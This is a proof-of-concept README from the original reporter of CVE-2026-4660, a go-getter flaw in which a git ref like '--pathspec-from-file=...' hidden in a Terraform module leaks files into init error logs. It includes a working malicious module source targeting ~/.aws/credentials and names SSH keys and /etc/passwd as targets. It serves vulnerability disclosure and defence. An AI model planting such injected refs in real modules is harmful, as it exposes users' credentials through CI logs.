Share
## https://sploitus.com/exploit?id=0AF57163-52EE-5C0B-9C89-498DA9C5C4EB
# CVE-2026-4660 PoC

Proof of concept for [CVE-2026-4660](https://vulners.com/cve/CVE-2026-4660) ([HashiCorp advisory](https://discuss.hashicorp.com/t/hcsec-2026-04-go-getter-may-allow-to-arbitrary-filesystem-reads-through-git-operations/77311)) in [hashicorp/go-getter](https://github.com/hashicorp/go-getter). I'm the original reporter.

An attacker publishes a Terraform module with a `ref` of `--pathspec-from-file=/path/to/file`. When the victim runs `terraform init`, go-getter clones the repo and calls `git checkout --pathspec-from-file=/path/to/file`. Git reads the target file line by line, fails on each line as a pathspec, and dumps the contents in its error output. The malicious ref is inside the attacker's module source, not in the victim's own config. `terraform init` fails with a module download error; the credential values appear embedded in git pathspec errors in the output. No `apply` needed.

The vulnerability exists in two code paths in the go-getter library. `clone()` is taken when the destination directory is absent; `update()` is taken when it exists. Both call the same `checkout()`. `clone()` defers `os.RemoveAll(dst)` on error; `update()` does not, so the directory survives the failed checkout.

Terraform's module installer (`initwd/module_install.go:251`) always calls `os.RemoveAll` on the destination before invoking go-getter, so terraform always triggers `clone()`. Packer, Nomad, and any tool calling go-getter's API directly against a pre-existing directory will trigger `update()` instead. The PoC demonstrates both paths.

Affects all tools using go-getter: examples include Terraform, Nomad, Packer, Waypoint.

**Fixed in:** go-getter v1.8.6 (no Terraform release yet incorporates the fix as of 2026-04-10)
**Severity:** 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

## Attack Scenario

Attacker publishes a legitimate-looking Terraform module on GitHub, for example an AWS VPC module with real, working code. Buried inside, a submodule source points to a second attacker-controlled repo with the malicious ref:

```hcl
# inside attacker's module; victim never reads this file
module "internal" {
  source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
```

Victim adds the top-level module to their config:

```hcl
module "vpc" {
  source  = "git::https://github.com/attacker/tf-aws-vpc.git"
}
```

They run `terraform init`, either locally or in CI. go-getter clones the top-level module, finds the nested submodule, clones that too, and calls `git checkout --pathspec-from-file=/home/runner/.aws/credentials`. Git reads the file and the contents appear in terraform's error output:

```
โ”‚ Error: Failed to download module
โ”‚
โ”‚   error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
โ”‚   error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
```

Note: `[default]` is stripped by terraform's colorstring renderer even with `-no-color` (interpreted as a style reset token) and appears as an empty pathspec `''` in the actual output. The raw `git checkout` output in the PoC shows the unmangled content.

The attack is not limited to credential files. Any file readable by the process is a target: `/etc/passwd`, CI token files, application configs, anything accessible from the runner. The PoC demonstrates `~/.aws/credentials`, `~/.ssh/id_rsa`, and `/etc/passwd`.

In GitHub Actions, CircleCI, or any CI system that logs `terraform init` output, those logs are readable by everyone with repo access, and often exported to log aggregation (Datadog, Splunk, etc.) with no expiry. The victim's AWS credentials, SSH keys, or any other file readable by the runner end up in the log history. The victim sees a failed build; the credential values are buried in what looks like a git error.

## Requirements

- Docker

## Run

```bash
docker compose up --build
```

Two containers: `gitserver` serves the attacker's bare git repos over HTTP, `poc` runs as user `runner` with fake credentials at `~/.aws/credentials`, `~/.ssh/id_rsa`, and a readable `/etc/passwd`. Phase 1 runs `terraform init` and demonstrates the `clone()` path; a sentinel check confirms the module directories are deleted by `clone()`'s deferred `RemoveAll` on failure. Phase 2 directly exercises go-getter's `update()` call sequence (fetch + checkout) to show the same `checkout()` vulnerability fires and that the directory survives, consistent with the absence of a `RemoveAll` defer in `update()`. No interaction needed.

## Vulnerable

- Terraform v1.14.8 (latest stable, go-getter v1.8.2)
- go-getter v1.8.2 through v1.8.5
- Git 2.45.4